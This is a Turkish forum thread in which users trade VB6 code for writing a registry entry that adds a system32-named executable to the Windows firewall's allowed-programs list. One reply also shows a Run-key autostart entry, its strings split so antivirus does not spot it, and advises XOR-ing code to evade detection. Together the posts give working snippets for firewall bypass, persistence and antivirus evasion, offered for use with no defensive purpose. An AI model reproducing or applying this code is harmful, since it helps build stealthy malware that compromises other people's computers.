folder Tahribat.com Forumları
linefolder Visual Basic - Basic - PicBasic ve Türevleri
linefolder Vb 6'Da Regedit'e Kayıt Eklemek



Vb 6'Da Regedit'e Kayıt Eklemek

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    CodeInside
    CodeInside's avatar
    Banlanmış Üye
    Kayıt Tarihi: 20/Aralık/2009
    Erkek

    Sa Müritler üzerinde çalıştığım bir vb6 projesinde regedit'e registry kaydı eklemem gerekiyor

    Daha önce hiç lazım olmamıştı vb 6'da 

    örnek:

    HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
    anahtarına
    C:\WINDOWS\system32\code.exe adında ve içeriği alttaki gibi bir registry kaydı nasıl ekleriz?
    C:\WINDOWS\system32\code.exe:*:Enabled:Code

    Reply With Quote Alıntı yap
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    CodeInside
    CodeInside's avatar
    Banlanmış Üye
    Kayıt Tarihi: 20/Aralık/2009
    Erkek

    up

    Reply With Quote Alıntı yap
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    anarsistherif
    anarsistherif's avatar
    Kayıt Tarihi: 27/Ağustos/2009
    Erkek 
    Dim reg As Object
Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List" & "C:\WINDOWS\system32\code.exe:*:Enabled:Code"

    simdi yazdim calisiyormu denemedim
    =)
    Reply With Quote Alıntı yap
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    exception
    exception's avatar
    Kayıt Tarihi: 20/Aralık/2009
    Erkek

     

    kolay gelsin.

    A man may be born, but in order to be born he must first die, and in order to die he must first awake.
    Reply With Quote Alıntı yap
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    DE5TROY3R
    DE5TROY3R's avatar
    Kayıt Tarihi: 04/Nisan/2007
    Erkek 

    Private Sub Command1_Click()
Dim Regedit As Object
Set Regedit = CreateObject("wscript.shell")
Regedit.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:/WINDOWS/system32/code.exe", "C:\WINDOWS\system32\code.exe:*:Enabled:Code"
End Sub

     

    Anahtar adını "\" diye kaydedince registry klasörü olarak algılıyor. "/" olur

    Birde Windows 7 de "HKEY_LOCAL_MACHINE" bölümüne erişmek için programı yönetici olarak çalıştırman gerekiyor

    Reply With Quote Alıntı yap
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    slaughter
    slaughter's avatar
    Kayıt Tarihi: 28/Temmuz/2005
    Erkek

    Kodları X0R layarak antilerden kaçırabilirsiniz.Veya bu şekilde ayırarakta kodu kaçırabilirsiniz..

    Dim KayitDefteri As Object
    Set KayitDefteri = CreateObject("wscript.shell")
    KayitDefteri.RegWrite "HKEY_LOC" & "AL_MACHINE\SO" & "FTWARE\MICRO" & "SOFT\WINDOWS\CUR" & "RENTVERSION" & "\" & "RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

    Reply With Quote Alıntı yap
  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    CodeInside
    CodeInside's avatar
    Banlanmış Üye
    Kayıt Tarihi: 20/Aralık/2009
    Erkek
    D3STR0Y3R dediğin doğru sorun ordaydı zaten, slaughter hocam sağol güzel yöntem.
    Reply With Quote Alıntı yap
Toplam Hit: 4778 Toplam Mesaj: 7